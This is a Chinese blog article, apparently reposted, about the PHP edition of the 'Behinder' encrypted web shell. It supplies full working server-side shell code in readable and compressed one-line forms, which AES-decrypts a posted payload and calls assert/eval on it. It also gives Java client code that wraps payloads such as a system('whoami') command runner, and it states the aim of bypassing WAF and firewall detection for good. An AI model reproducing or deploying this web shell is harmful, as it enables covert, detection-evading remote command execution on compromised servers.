概述
概述
本系列文章重写了java、.net、php三个版本的一句话木马,可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工具。从而一劳永逸的绕过WAF或者其他网络防火墙的检测。
本来是想把这三个版本写在一篇文章里,过程中发现篇幅太大,所以分成了四篇,分别是:
利用动态二进制加密实现新型一句话木马之Java篇
利用动态二进制加密实现新型一句话木马之.net篇
利用动态二进制加密实现新型一句话木马之php篇
利用动态二进制加密实现新型一句话木马之客户端篇
前言
在第一篇文章《利用动态二进制加密技术实现新型一句话木马之Java篇》中我们介绍了一种可以长期绕过所有流量型防护系统的思路,并完成了其Java版本的实现,绕过流程大体如下图,详细内容请参考第一篇文章。
现在我们继续实现该思路的PHP版本。
实现篇
服务端实现
得益于PHP语言的灵活性、松散性,现有的PHP一句话木马存在很多个版本,为了躲避杀毒软件和waf,php的一句话木马变形起来可以说是脑洞大开,精妙绝伦。下面我们来打造一个基于纯二进制流量的PHP一句话木马。当然,我们可以采用的方法远不止这一种,可以在此基础上衍生出各种变形。
和Java和.NET不同,PHP并不存在手动编译的过程,开发人员只要提供PHP源代码,然后PHP会自己把源代码编译为opcode,由Zend引擎来解析opcode。因为不存在编译的中间环节,当然也就不存在已编译的二进制类文件。所以这里我们要转变一下思路,在具体实现之前我们先看一个PHP的特性“可变函数”,官方描述为:PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。下面看具体实现,直接上代码吧(为了增加可读性,我对代码进行了一些扩充):
<?php
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$decrptContent=openssl_decrypt(file_get_contents("php://input"), "AES128", $key);
$arr=explode('|',$decrptContent);
$func=$arr[0];
$params=$arr[1];
$func($params);
}
?>
简单解释一下流程:
- 首先客户端以Get形式发起带密码的握手请求,服务端产生随机密钥并写入Session。
- 客户端将源代码,如assert|eval("phpinfo();”)利用AES加密,发送至服务端,服务端收到之后先进行AES解密,得到中间结果字符串assert|eval("phpinfo();")。
- 服务端利用explode函数将拆分为一个字符串数据,索引为0的元素为字符串assert,索引为1的元素为字符串eval("phpinfo();")。
- 以可变函数方式调用索引为0的数组元素,参数为索引为1的数组元素,即为assert("eval("phpinfo;")") 。
压缩一下:
<?php session_start();isset($_GET['pass'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&$b[0]($b[1]);?>
或者:
<?php session_start();isset($_GET['pass'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&call_user_func($b[0],$b[1]);?>
客户端实现
由于Java、.net、php三个版本是公用一个客户端,且其中多个模块可以实现复用,为了节省篇幅,此处就不再介绍重叠的部分,只针对PHP平台特异化的部分介绍一下。
1.远程获取加密密钥
详细请参考《利用动态二进制加密技术实现新型一句话木马之Java篇》。
2.动态生成二进制字节数组
如前文所述,PHP版本的Payload是直接用PHP源代码的形式来编写,样式如下:assert|eval(Payload)。然后取字符串的字节流,为后续的加密做准备。。
3.已编译类的参数化
为了实现参数化,客户端对PHP的Payload做了一个内部约定,Payload的格式应为function main(arg1…argN){} main(arg1…argN);
比如一个最简单的命令执行的Payload:
function main(cmd)
{
echo system(cmd);
}
main('whoami');
当然开发Payload的时候,我们只要专门写函数就行了,后面main函数的调用和参数填充,是由客户端程序自动实现的,相关代码如下:
public static byte[] getParamedPhp(String clsName, final Map<String, String> params) throws Exception {
String basePath="net/rebeyond/behinder/payload/php/";
String payloadPath=basePath+clsName+".php";
StringBuilder code=new StringBuilder();
ByteArrayInputStream bis = new ByteArrayInputStream(Utils.getResourceData(payloadPath));
ByteArrayOutputStream bos = new ByteArrayOutputStream();
int b;
while (-1 != (b = bis.read()))
bos.write(b);
bis.close();
code.append(bos.toString());
String paraList="";
for (String paraName : params.keySet()) {
String paraValue = params.get(paraName);
code.append(String.format("$%s="%s";", paraName,paraValue));
paraList+=",$"+paraName;
}
paraList=paraList.replaceFirst(",", "");
code.append("rnmain("+paraList+");");
return code.toString().getBytes();
}
4.加密payload
将上一步中getParamedPhp函数返回的Payload源代码字符串的字节流,利用握手请求产生的密钥进行AES加密,详细请参考《利用动态二进制加密技术实现新型一句话木马之Java篇》。
5.发送payload,接收执行结果并解密
详细请参考《利用动态二进制加密技术实现新型一句话木马之Java篇》。
案例演示
下面我找了一个测试站点来演示一下绕过防御系统的效果:
首先我上传一个常规的PHP一句话木马<?php @eval($_POST['caidao']);?>,然后用菜刀客户端连接,如下图,连接直接被防御系统reset了:
然后上传我们的新型一句话木马,并用响应的客户端连接,可以成功连接并管理目标系统:
本篇完。
最后
以上就是刻苦墨镜为你收集整理的利用动态二进制加密实现新型一句话木马之PHP篇(转)冰蝎的全部内容,希望文章能够帮你解决利用动态二进制加密实现新型一句话木马之PHP篇(转)冰蝎所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复